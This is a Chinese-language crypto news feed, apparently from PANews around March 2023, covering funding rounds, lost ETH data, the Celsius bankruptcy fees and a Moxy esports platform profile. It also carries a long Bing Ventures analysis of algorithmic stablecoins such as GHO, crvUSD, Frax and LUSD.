Scientific的独家能源谈判代表和顾问，2022年5月Core Scientific停止向PPM支付各种费用，由于现金不足，该矿企还于2022年10月停止了债务偿还并于去年12月申请了第11章破产保护。PPM在诉讼中声称其被拖欠约3000万美元。 融资消息 Aavegotchi开发商Pixelcraft Studios完成3000万美元代币融资，历时两年多 据美通社报道，元宇宙游戏Aavegotchi的开发商Pixelcraft Studios周一宣布成功完成为期多年的长期代币销售，共筹集3000万美元。 资金将在社区参与者之间分配，Aavegotchi的主要开发者Pixelcraft Studios获得 25%，即750万美元，DAO金库获得剩余的2250万美元。所有资金将专门用于开发、营销、提供流动性或协议奖励。 据悉，Aavegotchi代币GHST通过DAIC0（去中心化自治IC0）从2020年9月14日开始至今已历时两年多，没有风投或天使投资人直接参与此次融资。由于DAI稳定币的稳定性存在不确定性，AavegotchiDAO投票决定终止销售。 加密交易公司Auros已终止临时清算程序，并获得1700万美元投资 据CoinDesk报道，加密交易公司Auros Global在进行了重大债务重组后，上周从法院监督的临时清算中解脱出来，并获得了由传统高频交易公司Vivienne Court Trading和上市比特币矿业公司 Bit Digital (BTBT) 牵头的1700万美元新投资。 据该公司称，在FTX崩溃之前，Auros是前10-15家数字资产做市商之一，处理了约1-2%的加密交易总量。该公司在11月遇到了流动性问题，当时约2000万美元的数字资产被困在现已不存在的FTX上，并且未能支付约1800万美元的去中心化金融 ( DeFi ) 贷款。在英属维尔京群岛申请临时清算后，该公司在法庭监督下花了大约5个月的时间就如何偿还未偿债务和偿还债权人进行谈判。Auros首席投资官Benjamin Roth表示，该公司正在摆脱FTX带来的冲击。 据该公司发言人称，Auros上周三收到英属维尔京群岛法官的密封法庭命令，终止临时清算程序。 土耳其加密货币交易所Metatime完成1100万美元的种子轮融资 据TheBlock报道，尚未启动的土耳其加密货币交易所 Metatime 筹集了 1100 万美元的种子资金。土耳其投资公司 Yildiz Tekno GSYO 和多个未公开姓名的天使投资人参投。这家位于伊斯坦布尔加密初创公司正在开发交易所、钱包、区块链、NFT 市场和稳定币。 OP3N以1亿美元估值完成2800万美元A轮融资，Animoca Brands领投 据Techcrunch报道，基于 web3 AI 的平台 OP3N 完成 2800 万美元 A 轮融资，这轮融资由Animoca Brands牵头，包括来自 Dragonfly Capital、SuperScrypt、Creative Artists Agency 和 New Enterprise Associates 的 Connect Ventures、Republic Crypto、Avalanche 的暴雪基金、Galaxy Digital 和 Warner Music Interactive 的投资。其他投资者包括 GSR Markets、The Spartan Group、BRV Capital Management 和 NBA 球员 Russell Westbrook 等。该公司估值为 1 亿美元。新资金将用于进一步开发其应用程序以及壮大其领导团队。 OP3N 的基于聊天的产品 Superapp 旨在通过将区块链和去中心化技术实施到 Web 2.0 友好界面中来弥合 Web 2.0 和 web3 之间的差距。该应用程序将能够将音频、视频和混合媒体内容添加到链上交互中，以便用户可以获得“一站式”体验。 重要数据 数据：超过10亿美元的以太币永远丢失，占流通供应量的0.5% Coinbase 产品战略和业务运营总监 Conor Grogan 发推表示，由于错误和人为错误，已经永远丢失了超过 10 亿美元的以太币。 他写道：“我已经对数千个以太坊打字错误、用户错误和有缺陷的合约进行了分类。” 他指出，他已经对丢失的 636,000 ETH（11.5 亿美元）进行了分类，占代币流通供应量的 0.5%。 大约一半的总数——大约 306,000 ETH——是由于 2017 年Parity 加密钱包中的一个漏洞造成的。倒闭的加密货币交易所 Quadriga 因合约故障损失了 60,000 ETH，Akutars NFT 系列在失败的 Mint 中损失了 11,500 ETH。最重要的是，以太坊用户已累计将 24,000 ETH 发送到一个销毁地址，该地址将无法再访问代币。 某黑客向2400个私钥泄露地址发送以太坊并授权ARB合约，企图抢先领取ARB空投 加密数据公司Arkham在推特上表示：“被Nansen标记为 Arbitrum Airdrop Exploiter的黑客地址在过去12小时内向大约2400个私钥泄露的地址发送以太坊作为gas费，并提前授权ARB合约，准备抢先领取ARB空投。” 数据：某地址凌晨将1.6万枚ETH转入币安，并在Uniswap抛售4000枚ETH 据Lookonchain数据显示，某Smart Money地址于6小时前在Uniswap平台抛售4000枚ETH（约合700万美元），同时将1.6万枚ETH转入币安。目前该地址仍持有20,891枚ETH (约合3670万美元), 持仓均价为1,464美元。 据悉，该地址此前曾于7月5日从FTX提币10,597枚 ETH，当时均价为1120美元。于今年3月USDC脱锚时将4400万枚USDC兑换为27,957枚 ETH，当时均价为1573美元。 数据：全球前300家加密VC管理的资本总规模达839亿美元 据Coinstack对全球前300家加密货币VC公司的最新研究报告显示，全球前300家加密风险投资公司管理的资本总规模达839亿美元，旧金山是世界上加密风险投资公司资本的第一大城市，占全球前50家加密风险投资公司资本总额的45.16%，其次是纽约、香港、新加坡、奥斯汀、伦敦和上海。 此外，尽管经历熊市，2022年仍是历史上加密货币风险投资的最大年份，市场进行了超过262亿美元的新资本投资，高于2021年的251亿美元。2022年第四季度新的加密货币风险投资（25亿美元）较2022年第一季度（112亿美元）降低77％。另外，2023年2月，加密/区块链公司获8.72亿美元的风险资本投资，较2023年1月的5.74亿美元增长了52%。 数据：黄立成今日以72 ETH均价承接逾120枚Cryptopunks抛售 据Blur行情数据显示，中国台湾歌手黄立成地址（0x020c开头）今日以约72 ETH均价承接多名Cryptopunks巨鲸抛售的逾120枚Cryptopunks，总金额超过8980 ETH（约合1560万美元）。 此外，黄立成今日也以约70 ETH均价售出32枚Cryptopunks，还持有96枚 Cryptopunks，已实现和未实现浮亏达742 ETH（约合128万美元）。Cryptopunks地板价目前已从75 ETH跌至65 ETH。  ( 6 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.21）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Celsius破产程序中的律师和顾问费用预计将达到1.44亿美元
    PANews 3月21日消息，据Cointelegraph报道，加密贷款机构 Celsius Network 在其破产程序中的律师和顾问费用预计将达到 1.44 亿美元，引发加密社区成员的回应。软件开发商 Cam Crews 编制的数据显示，其中汇总了破产的加密货币贷方需要支付的报告费用和预计费用。根据数据，迄今为止已向法院报告提交了近 1.02 亿美元。开发商还指出，缺少了几个月，并估计最终还需要支付和归档的费用约为 4200 万美元。 这条推文得到了加密社区各个成员的回应，一些人甚至将 Celsius 的情况与当前的硅谷银行 (SVB) 问题进行了比较，一些人建议债权人自己创办一家律师事务所。  ( 4 min )
    Web3社交平台OP3N以1亿美元估值完成2800万美元A轮融资，Animoca Brands领投
    PANews 3月21日消息，据Techcrunch报道，基于 web3 的社交 AI 平台 OP3N 完成 2800 万美元 A 轮融资，这轮融资由Animoca Brands牵头，包括来自 Dragonfly Capital、SuperScrypt、Creative Artists Agency 和 New Enterprise Associates 的 Connect Ventures、Republic Crypto、Avalanche 的暴雪基金、Galaxy Digital 和 Warner Music Interactive 的投资。其他投资者包括 GSR Markets、The Spartan Group、BRV Capital Management 和 NBA 球员 Russell Westbrook 等。该公司估值为 1 亿美元。新资金将用于进一步开发其应用程序以及壮大其领导团队。 OP3N 的基于聊天的产品 Superapp 旨在通过将区块链和去中心化技术实施到 Web 2.0 友好界面中来弥合 Web 2.0 和 web3 之间的差距。该应用程序将能够将音频、视频和混合媒体内容添加到链上交互中，以便用户可以获得“一站式”体验。2021 年，OP3N 完成了 1000 万美元的种子轮融资，投资者包括 Goodwater Capital、Soma Capital、500 Global、WhaleShark、Twitch 联合创始人 Justin Kan 和 The Sandbox 联合创始人兼首席运营官 Sébastien Borget 等。  ( 4 min )
    数据：超过10亿美元的以太币永远丢失，占流通供应量的0.5%
    PANews 3月21日消息，Coinbase 产品战略和业务运营总监 Conor Grogan 发推表示，由于错误和人为错误，已经永远丢失了超过 10 亿美元的以太币。 他写道：“我已经对数千个以太坊打字错误、用户错误和有缺陷的合约进行了分类。” 他指出，他已经对丢失的 636,000 ETH（11.5 亿美元）进行了分类，占代币流通供应量的 0.5%。 大约一半的总数——大约 306,000 ETH——是由于 2017 年Parity 加密钱包中的一个漏洞造成的。倒闭的加密货币交易所 Quadriga 因合约故障损失了 60,000 ETH，Akutars NFT 系列在失败的 Mint 中损失了 11,500 ETH。最重要的是，以太坊用户已累计将 24,000 ETH 发送到一个销毁地址，该地址将无法再访问代币。  ( 4 min )
    Moxy：游戏行业“老人天团”打造Web3链游电竞平台
    随着游戏的不断发展，电子竞技已然成为发展最快的娱乐产业之一。各种游戏的电子竞技赛事在全球总计拥有上亿粉丝，Newzoo 《2022 电竞市场报告》显示，2022年全球电竞观众数增至5.32亿。在2018年举行的雅加达亚运会中，电子竞技还作为表演赛事，首次登上亚运会舞台，中国队也取得2金1银的好成绩。 不过，电子竞技领域目前基本仅限于职业选手参与，而普通游戏玩家只能充当观众角色。为了弥补这一差距，并为尽可能多的游戏玩家带来竞技电子竞技的乐趣，Moxy.io基于区块链Flow创建了一个Web3游戏平台，使所有玩家，而不仅仅是电子竞技专业人士，都可以在竞争中玩自己喜欢的游戏。Moxy的这一想法也得到了Shima Capital、Polygon、MetaTope和GSR等机构的支持，其于3月13日宣布完成了超1000万美元的融资。 项目团队：游戏圈“老人天团” Moxy的团队由多位游戏、区块链及加密行业的资深人士组成。其创始人兼首席执行官Matt Defouw曾开过一家加密矿业公司，他在进入加密行业前创立的互联网企业被 Auto Trader、Yellow Pages Group 和 GlobalPayNet 等公司收购。2021年3月，Matt与Nolan Defouw创立了Moxy.io，后者出任营销和新媒体总监，目前还负责客户服务工作。首席运营官Derek Rathbun是比特币的早期采用者，也曾开过加密矿场，擅长软件解决方案概念化、打造新技术及销售业务等。Moxy的亚洲负责人David Chin在区块链技术和应用领域拥有丰富经验，他还是 Animoca Brands、Yuga Labs、Dapper Lab、Kraken 等许多公司的早期投资者。 作为一家以区块链游戏为核心的Web3企业，Moxy在游戏开发、发行及运营等方面的业务是重中之重，为此特别召集了一支夕阳红“老年天团”。出任Moxy首席知识官的Nolan Bushnell是古早游戏厂商雅达利（Atari）的创始人，该公司在上世纪70年代开推出了革命性的视频游戏Pong，开始将电子游戏大范围带入生活。雅达利早期成员还有前Apple总裁Steve Jobs，他曾在19岁时加入并负责电子游戏的开发。除了Nolan，另一知名上古游戏公司MicroProse Games的联合创始人StewartBell也是Moxy团队的一员，他曾协助MicroProse开发及发行十分经典的《文明》系列游戏，现担任Moxy欧洲业务总裁。此外，还有原世嘉游戏欧洲总裁Lawrence Siegel担任执行主席，日本游戏巨头Konami的欧洲主管Tony Bickley担任首席产品官。 打造第四类电子游戏 目前游戏主要分为主机游戏、PC游戏和手游，Moxy试图运用区块链技术将电子竞技打造为第四类别的游戏。对于喜好电竞的玩家而言，他们通过游戏能够获得认可与奖励。通常来说，没有电子竞技要素的游戏往往会推出排行榜和联赛系统，通过这些系统，玩家能够看到竞赛时自己所处的水平。虽说大多数玩家更倾向于关心自己在游戏中的受认可度，而且传统游戏的排行榜也能满足他们的这一需求，但传统游戏在奖励系统方面却出现了严重缺失。尤其对于铁杆竞技游戏玩家而言，他们通常更在意皮肤道具等游戏内资产。 Moxy 的电子竞技模式为帮助电子竞技走向主流而设计，在这一过程中，参与平台和发展生态系统的每个人都将获得一定的经济激励。其奖池的分配方式允许各方都获得收益：玩家获得奖励，开发者获得份额，Moxy 基金会获得一定资金分配以确保平台随着时间的推移平稳运行。这意味着 Moxy 生态系统不是在尝试创建电子竞技平台，还想通过其“三重奏”的方法让每个人都参与其中。 正如Steam、GeForce NOW、Play Store、Xbox Pass 等游戏平台整合了大量不同类型的游戏，以便捷的方式满足了游戏玩家的需求。Moxy开发的MoxyForge为开发者和发布者提供了一个用于实施的行业标准API层，现成的游戏参数专为将各种游戏模式即插即用地进行电子竞技比赛而设计。目前平台已经整合 Super Squad、BattleRise 和 Sociable Soccer 23 等10款游戏，在拿到大规模的融资后，团队后续将不断的向平台添加各类新游戏，以提高平台影响力。 Moxy生态及其奖励系统 MOXY代币是Moxy平台的通用游戏代币，也是促进其电竞游戏的核心价值点。MOXY的持有人无需将其转换为另一种数字资产或法定货币，可在Moxy平台用其购买商品或服务，如支付 MOXY 代币作为游戏的报名费。不过，平台要求所有MOXY的持有者在成为MoxyClub会员之前需要首先完成KYC验证，以便购买MOXY和访问平台所有功能。通过电子竞技比赛，以MOXY为核心的真实奖励为玩家和游戏发行商都创造了全新的收入来源：每场电子竞技比赛都会创建一个资金池，90.1%作为奖励分配给获胜玩家，6%分配给发行商，3.9%分给Moxy基金会。 ”ProofofPlay“是Moxy的奖励系统，其通过PLAY代币、SCORE代币和ProofofPlay™三个要素在生态内协同实现。PLAY是由平台机制产生的一定数量的每日奖励，它会分发给符合条件的MoxyClub会员，但其不能由任何个人持有，也不能买卖。PLAY代币在Moxy生态系统内转换为新铸造的MOXY，以满足随着玩家群增长而产生的代币需求，随着MoxyClub会员及其需求的增加，分配将增加。 SCORE代币只能由MoxyClub会员获得，不能交易、买卖。SCORE仅能通过记录游戏时间、参加电子竞技赛事（输赢不影响SCORE积分）、投票、购买游戏等方式获得，玩家在这些活动都会获得不同数量的SCORE。玩家拥有的SCORE越多，他们有权获得的每日奖励就越多，这确保参与的俱乐部会员获得最多奖励。ProofofPlay™是Moxy平台推向市场的一个原创和创新概念。通过该机制，玩家将因玩他们最喜欢的游戏而获得奖励。 每个MoxyClub会员的游戏时间与电子竞技比赛一起被追踪记录，玩家赚取的SCORE积分，每天都会产生MOXY奖励。 总结 3月15日，Moxy正式推出eSports for ALL Beta 挑战赛，这是其面向所有用户的测试版，此次社区活动是Moxy产品开发及采用的一个重要里程碑。该计划意在根据实际规范，对Moxy生态系统的所有组件进行压力测试，最终在平台的主网激活之前发现并修复所有潜在的漏洞。 为了激励参与者，该平台的团队提供了一个奖池，其中包含 100,000 美元的现金奖励、MOXY 实用代币、治理代币，以及独家数字收藏品。玩家将在四项赛事（“赛季”）中相互竞争以获得游戏积分。第四季结束后，Moxy将以美元硬币 (USDC)、MOXY 以及奖金 NFT 形式分发奖品。 成立近两年，Moxy.io的业务也才刚刚起步，团队计划在2023年底推出其首款自主开发的游戏：一款尚未披露细节的Pokemon Go 风格的区块链游戏，但其游戏概念早在 Moxy.io 之前就已出现。 无论 Moxy 是打上“电子竞技”还是“P2E”等旗号，对于喜爱电子竞技的游戏玩家来说，想从游戏中获得认可和奖励的前提，是游戏丰富的可玩性能让他们愿意去玩并享受其中，Moxy 团队还有很长的路要走。  ( 4 min )
    Circle已申请法国加密资产许可证
    PANews 3月21日消息，据The Block报道，稳定币发行人 Circle 已申请法国加密资产许可证，作为欧洲更广泛增长战略的一部分。Circle 在一份声明中表示，这家总部位于波士顿的公司分别申请成为注册数字资产服务提供商和持牌电子货币机构。声明称，成功注册将意味着 Circle 可以向法国客户提供其产品，并“在岸”其欧元支持的稳定币 EUROC。  ( 4 min )
    寻找算法稳定币的原生之锚
    作者： Kyle, Bing Ventures投资经理 算法稳定币是一种基于算法的加密货币，主要用算法维持价格稳定，而不是完全依赖于某种储备资产的锚定。然而，在实践中，一些算法稳定币并没有维持价格稳定性，且面临市场流动性不足、黑天鹅事件等风险。有人认为这是算法的原罪导致的。 本篇Bing Venture行业研究报告关注算法稳定币领域，通过分析当前算法稳定币的类型、机制和所存在的问题，讨论算法稳定币进一步发展的方向。笔者认为，随着算法稳定币的发展，它们将形成一个全球性的稳定币等级制度。其中一些算法稳定币会成为顶层稳定币，而其他的则会构成多层外围的补充。当然，与传统货币不同，算法稳定币的创造和交易可以在全球范围内进行，而不受限于某一国家的监管框架。因此，算法稳定币有望成为未来去中心化金融世界中的主要货币形式。 算法稳定币采用了类似于影子银行的机制，形成了离岸的货币创造空间。与传统的稳定币不同，算法稳定币不需要中心化的机构来维持其稳定性，而是通过算法来调节市场供求关系，使其价格始终维持在一定范围内。这种货币形式也面临着多种挑战，如市场流动性不足、黑天鹅事件等风险。 算法稳定币有不同的算法机制来调节其供应和需求，以维持其与目标价值（通常是美元）的锚定。目前已经形成两种经典的算法机制，分别是： 除了这两种基本机制外，还有一些新兴的算法稳定币项目尝试了不同的创新方式来维持其锚定。例如Frax是一种部分抵押型算法稳定币，它结合了法币抵押和Seigniorage机制。Frax使用USDC作为其部分抵押物，并根据其市场需求动态调整其抵押率。传统的稳定币不同，算法稳定币的价值并非完全由外部储备支撑，而是通过基于算法的市场机制来调节供需，以保持价格稳定。但是最近几年，算法稳定币也面临了一些问题，主要有以下几点： 当前DeFi领域常见的算法稳定币机制有多种，其中以MakerDAO的抵押借贷机制为代表，通过锁定ETH等抵押品来发行DAI稳定币，同时根据市场需求调整稳定币的供应量；以及Aave等资金池机制为代表，根据供求关系实时调整稳定币价格，通过对多种稳定币进行套利来保持价格稳定。 GHO的价值与美元（USD）挂钩，是一种去中心化的多元抵押稳定币。用户或借款人可以在Aave协议上使用他们提供的抵押物来铸造GHO代币。抵押物可以是用户自己选择的一篮子加密货币。当Aave的贷款服务用户将加密货币作为抵押品借入GHO时，Aave就会发行GHO代币。当贷款还清时，Aave会销毁与该贷款相关的GHO代币，从而减少协议中的代币数量。GHO代币可以用于支付、借贷等场景，并且可以产生收益，因为它们会自动参与Aave协议上的流动性挖矿。 GHO采用Aave V3资金池模型，Aave作为唯一的资金池提供方，用户需要通过Aave V3来购买和使用GHO稳定币，未来可考虑增加更多的资金池提供方来实现去中心化的稳定币发行和交易。只有在Aave协议中的资产才能作为GHO代币的抵押品。从GHO稳定币赚取的所有收入都直接流入Aave Treasury，然后转入Aave DAO。GHO本质上是一种结合了去中心化、多元抵押、收益型等特点的稳定币，有着一定的创新优势，特别是它可以与Aave协议的其他服务无缝集成。 但是GHO的稳定性依赖于其抵押物的价值和流动性，如果市场出现剧烈波动或流动性危机，会导致GHO代币失去其锚定，并触发清算。GHO稳定币的风险管理和去中心化程度的提高仍然是一个值得关注的问题。随着资金池提供方的增加，风险分配和利益分配可能会变得更加复杂，这需要更加完善的去中心化治理机制来确保GHO稳定币的长期稳定性和可持续发展。 CrvUSD是一种算法稳定币，其设计核心是Lending-Liquidating AMM Algorithm (LLAMMA)。该算法通过将抵押品（例如ETH）和稳定币（USD）进行转换来维持价格稳定。当抵押品价格上涨时，用户将全部存款转换为ETH，但当价格下跌时，它会转换为USD。抵押物选项可能还包括流动性池（LP）的头寸。 这与传统的AMM设计非常不同，传统的AMM设计中通常是以USD为顶部和ETH为底部。在Curve算法稳定币中，LLAMMA算法的目的是为用户提供软性清算窗口，将抵押品转化为LP头寸，以避免抵押品在短时间内被清算。Curve的稳定币机制通过交叉链的流动性和多策略池的流动性汇合，以及与其他DeFi项目的协同，保持稳定币的价格稳定和流动性。此外，Curve稳定币还可以通过交易、借贷和流动性挖矿等方式获得回报，从而激励更多用户参与到其生态系统中来。 Frax一部分由抵押资产支持，另一部分由Frax原生代币（FXS）支持。这两者在Frax的支持中的比例称为抵押率。在这种情况下，一般抵押物是USDC。Frax协议根据FRAX代币的市场价格来调整抵押率。如果FRAX代币交易高于1美元，协议会降低抵押率，从而减少对抵押物的依赖，并增加算法部分。如果FRAX代币交易低于1美元，协议会提高抵押率，从而增加对抵押物的信任，并减少算法部分。通过这种方式，Frax协议试图实现FRAX代币与美元之间的锚定。 Frax在其V2升级中引入了一种Algorithmic Market Operations Controller（AMO）机制，将抵押品重新投资于Frax池中，以创造额外的收入来支持协议的增长。Frax的社区已经同意放弃双代币机制，将目标抵押比率提高到100％，使Frax成为用户长期保值的更具吸引力的资产。抵押比率的增加将通过AMO机制实现，而不是通过出售FXS代币。 它允许完全可编程的货币政策，而不会降低抵押比率或改变FRAX价格。AMO控制器是一个自主合约，可以通过算法执行公开市场操作，但不能仅仅通过铸造FRAX来打破支持币价。AMO控制器使FRAX成为最强大的稳定币协议之一，通过创建最大的灵活性和机会，而不改变基本稳定机制。 但是Frax协议仍然需要依赖于外部稳定币作为其最后一道防线。如果外部稳定币出现故障或被冻结，比如最近USDC的脱锚事件，会影响到Frax协议和FRAX代币的稳定性和安全性。Frax还需要依赖于FXS代币作为其治理和激励机制，如果FXS代币出现价格波动或需求下降，也会会影响到Frax协议和FRAX代币的运行和发展。 综合来看，GHO和crvUSD的优势在于拥有稳定的市场地位和多种使用场景，同时具备投资价值。Frax虽然技术实力较强，但尚未经历过大规模市场波动，其应用场景和投资价值有待观察。在未来的发展中，GHO和crvUSD有可能会通过不断推出新产品和拓展使用场景来进一步巩固自己的护城河。 以上稳定币主要的风险是随着协议复杂性的增加，攻击的载体也更加多元化，冷不丁就可能对整个生态来个“突然袭击”。近年来我们已经见到了很多稳定币的漏洞导致协议完全破产的惨案。同时稳定币领域的竞争也很激烈，一些去中心化的稳定币在链上的流动性和与其他协议的合作上建立了巨大的护城河（如 Aave 和 Curve）。另外就是单一协议的原生稳定币可能很难获得深度流动性，或者说这个代价非常昂贵。 目前来看，稳定币的发展有两种主要方向：基于抵押的稳定币和算法稳定币。前者也可以叫做“伪算法稳定币”。然而，这两种稳定币都存在一些问题。抵押型稳定币需要大量的过剩抵押品，而算法稳定币的机制可能会导致流动性不足和奖励规模不公。 相比之下，之前比较火的“流动性抵押”模型本质上把“协议控制价值”置于“算法稳定”之前。但是这两年的经验证明，“流动性优先，而不是抵押品”的设计也是存在问题的，例如在市场紧缩时，流动性不足，持有者和DAO被不公平地奖励，这可能导致巨鲸操纵市场的情况，而不利于生态的长期稳定性。 当前这些算法稳定币在获得用户接受方面也存在着一定的困难。主要原因是其稳定性不如美元等主流法币稳定币，更多地是被作为奖励来使用，而不是被用户作为价值存储媒介来使用。DAI作为去中心化稳定币的先驱，已经占据了一定的市场份额。但是，由于USDC等主流法币稳定币的崛起，DAI的地位也受到了一定的冲击。 此外，算法稳定币的机制通常比较复杂和难以理解，需要用户持有多种代币并参与各种操作来维护其稳定性。这增加了用户的使用成本和风险，也降低了用户的体验感。算法稳定币目前还没有得到广泛的采用，它们在市场上的份额和流动性都相对较低。这限制了它们在支付、借贷、跨境汇款等领域的应用，并影响了它们作为价值储存工具的吸引力。 因此，算法稳定币的发展需要进一步解决其稳定性问题，使其能够更好地作为价值存储媒介使用。此外，算法稳定币需要更多地关注用户需求，如提供更高的收益率，以吸引更多的用户使用。通过与实物资产的结合，可以增加算法稳定币的流动性和价值，提高其市场竞争力。 当前，算法稳定币协议仍然需要一定数量的ETH、CRV这样的抵押物，并且只有抵押品价值不断增长才能保持可扩展性。算法稳定币协议还面临着整体需求的实际风险。一些协议甚至已经耗尽了他们的保险基金。抵押品是不是越多越好，对此笔者十分怀疑。 从短期来看，多元化抵押品的支持可能增强协议的网络效应，从而获得更多的流动性，特别是处于牛市的时候。但是，从长期来看，这是对于算法稳定币本身的稳定性和安全性的一种不负责任的投机尝试，我们可能需要从中心化交易所中吸取更多的流动性，以提高算法稳定币协议的可行性。 特别是像Frax这样的稳定币协议虽然采用了算法稳定机制，但是面对强烈的兑付压力时，其去中心化比例不断下降，从而导致持有人面临更大的风险。算法稳定机制的本质应该是非充分抵押，所以其风险比较高。主流DeFi协议想让其稳定币成为USDC等中心化稳定币的竞争对手，但这需要满足监管要求，这一点很难实现。因此，算法稳定币需要更好地解决分散化的问题，并找到更为广泛的应用场景，才能在未来发挥更大的作用。 LUSD是Liquity推出的一种稳定币。 Liquity是一种去中心化的借贷协议，允许用户使用ETH作为抵押品来获得0%利息的贷款。LUSD的算法要求借贷者需要保持超额的抵押率，否则他们的借款可能会被清算。LUSD声称可以刚性兑付。LUSD还受益于一些非强制性的机制，例如协议将LUSD视为等于美元，以及新债务上的借贷费用。 这些机制可以影响LUSD的供需和市场预期，从而使其在1.00–1.10之间保持稳定。 LUSD提供了一种无息的借贷方式，让用户可以利用ETH的价值来获得流动性，提高了资本效率。LUSD还有一些创新的机制来保证其安全性和稳定性，例如抵押品池、稳定池和清算机制。但是LUSD的竞争压力可能来自其他提供类似服务的协议，例如MakerDAO或Compound。同时，它需要面对来自不同国家或地区对此类稳定币的监管压力，例如美国或欧盟。 Sovryn的稳定币叫做Sovryn Dollar (DLLR)，它是一种基于比特币的稳定币，由多种比特币抵押品组成。1 DLLR的目标是保持与美元接近1:1的比例，提供稳定的支付或储蓄手段。DLLR是由多种比特币稳定币组成的，例如ZUSD和DOC，这些稳定币都是通过不同的算法或协议来保持与美元的1:1比例。DLLR通过聚合这些稳定币来形成一个更加稳定的稳定币，可以抵御市场波动和抵押品风险。DLLR的供应量是由市场需求决定的，当DLLR的价格高于或低于1美元时，会有套利机会来恢复其平衡。 Sovryn 是一个基于比特币的去中心化金融（DeFi）协议，使用零知识证明技术来保护用户的隐私。Sovryn 允许用户进行杠杆交易、永久合约、借贷和其他 DeFi 操作，而且由于使用了比特币的安全性，其安全性也得到了保障。Sovryn的所有服务都以比特币（BTC）计价，并与比特币网络相连。该平台的智能合约运行于Rootstock，它是与比特币网络相连的侧链。Sovryn是新一代无需许可的金融应用程序之一，可以提供跨链功能。 Sovryn在RSK区块链上使用EVM智能合约，并与比特币和闪电网络、以太坊和Binance Smart Chain相连。大部分Sovryn的功能受到以太坊协议的启发，部分代码库使用重新设计和审核的分支构建。Rootstock或简称RSK，是以太坊协议的分叉，类似于其他EVM兼容的区块链。Rootstock的独特之处在于其与比特币网络相连的双向挂钩，并且它与比特币合并挖矿。Sovryn的合约由Exchequer多重签名控制，这是一个匿名的密钥持有人组，除了可根据SOV质押者的投票更新的Staking和FeeSharingProxy外。对所有合约和项目代码库的更改可以在Bitocracy DAO中进行投票，SOV代币的质押者有投票权。 DLLR的潜力在于它是一种完全透明、去中心化、抗审查的稳定币，只由比特币支持，没有任何第三方或中央机构的干预或风险。DLLR可以促进比特币的流通和使用，增加比特币的价值和效用。DLLR也可以为Sovryn平台提供一个强大的借贷工具，让用户可以用比特币作为抵押品来借出或借入DLLR，享受零息利率和高收益率。 sUSD是由Synthetix协议发行的稳定币，它跟踪美元的价格，通过去中心化预言机网络提供价格数据。sUSD是一种加密资产原生抵押的稳定币，也就是说，它是由Synthetix网络代币（SNX）作为抵押品来发行的。sUSD在SNX生态系统中有着广泛的应用，它可以用来交易、借贷、存储或兑换其他合成资产（Synths），例如股票、商品、加密货币等。 sUSD的挂钩机制主要依赖于市场的套利机会和供需关系。当sUSD的价格低于1美元时，套利者可以用美元或其他稳定币在外部交易所买入sUSD，然后在Synthetix平台上兑换成其他合成资产（Synths），或者用sUSD来抵押借出SNX或ETH。当sUSD的价格高于1美元时，套利者可以用SNX或ETH在Synthetix平台上抵押借出sUSD，然后在外部交易所卖出sUSD换成美元或其他稳定币。这样的套利行为会增加sUSD的需求和供应，从而推动其价格回归到1美元的锚定值。 随着引入 Atomic swap、Curve 以及 Perp V2 ，sUSD 的应用场景得到了很大的扩展。这得力于Synthetix的多链部署策略。尤其是在多链时代，合成资产的前景非常广阔。此外，sUSD 的资金效率问题也有望 V3 版本中得到解决，通过引入类似于 ETH 的抵押品，sUSD 的抵押率将会逐步降低，这将有利于增加资金利用效率。当Synthetix逐步衍生为一个合成资产的超级应用时，我们可以期待sUSD将跟随合成资产的顺风引入更多坚实的现实资产支持。 TiUSD是由TiTi Protocol发行的算法稳定币，它跟踪美元的价格，通过一个去中心化、多资产储备、使用即挖矿的机制来保证其稳定性和增长性。TiUSD是一种弹性供应的稳定币，也就是说，它的供应量会根据市场需求和价格波动而自动调整。TiUSD的储备池由多种加密资产组成，例如ETH、BTC、DAI等，这样可以提高储备池的多样性和抗风险能力。 TiUSD通过去中心化、多资产储备、使用即挖矿的机制来保证其增长性。TiUSD还可以利用其弹性供应的特性，根据市场需求和价格波动而自动调整其供应量，从而保持其价格稳定在1美元左右。TiUSD的缺陷在于它需要面对其他算法稳定币的竞争和挑战，尤其是那些有着更复杂或更先进的算法设计或治理模式的稳定币，例如MakerDAO、Ampleforth等。此外，TiUSD还需要保证其储备池的多样性和抗风险能力，避免出现储备池不足或被攻击的风险。 LayerZero是一个创新的跨链消息传递基础设施，它允许不同链上的代币安全地转移，而不需要资产包装、中间链或流动性池。 Big Bang是一个基于LayerZero的全链货币市场，它允许用户铸造名为USD0的全链稳定币。 它没有借款上限，但存在债务上限。 计划接受的用于铸造USD0的抵押品是原生Gas代币（或其质押的衍生品）。 这些包括ETH，MATIC，AVAX，wstETH，rETH，stMATIC和sAVAX。 USD0的挂钩机制是基于一个名为Tapioca 的算法，它使用动态的债务上限和一个可调整的稳定费来维持USD0与美元之间的1：1比例。 Tapioca算法会根据市场条件和抵押品价值的变化来调整债务上限和稳定费，从而影响USD0的供需。 当USD0的价格高于1美元时，Tapioca会提高债务上限和降低稳定费，从而鼓励用户铸造更多的USD0。 当USD0的价格低于1美元时，Tapioca会降低债务上限和提高稳定费，从而鼓励用户还清或购买更多的USD0。 理论上来说，USD0可以在任何链上使用。它不需要资产包装或中间链，从而降低了成本。 它也可以利用LayerZero实现无缝的代币转移和交易，还可以与其他基于LayerZero的应用程序集成，例如Stargate。但是其风险来自于LayerZero协议本身或其底层链的安全性和兼容性。 Inter Protocol的稳定币IST是建立在Cosmos生态中的去中心化稳定币协议，用于实现跨链生态系统中资产的转移，同时保持与美元的1:1平价，以提供价格波动最小的资产，这也是IST的目标之一。IST的铸造有三种方式：Parity Stability Module、Vaults和BLD boost。其中，Parity Stability Module将指定的稳定币（如DAI、USDT、USDC等）作为抵押品进行铸造，Vaults则是将加密资产作为抵押品，由DAO设定不同的抵押率，而BLD boost则是将BLD作为抵押品进行IST的铸造，这种方式不会获得节点质押奖励，而是用于还债。 在IST的稳定机制方面，与DAI很相似，包括清算机制、抵押率调节、设置债务上限、Reserve pool用来紧急降低债务率和BLD增发还债。这些机制都由细粒度的铸造限制控制，可以创建一个以前从未存在过的动态稳定币模型。Inter Protocol建立在Agoric上，这是Cosmos生态中可以用JavaScript开发智能合约的链，代币是$BLD。IST不仅是一个稳定代币，也是Agoric平台的原生费用代币，为其加密经济提供了一些核心功能和稳定性。 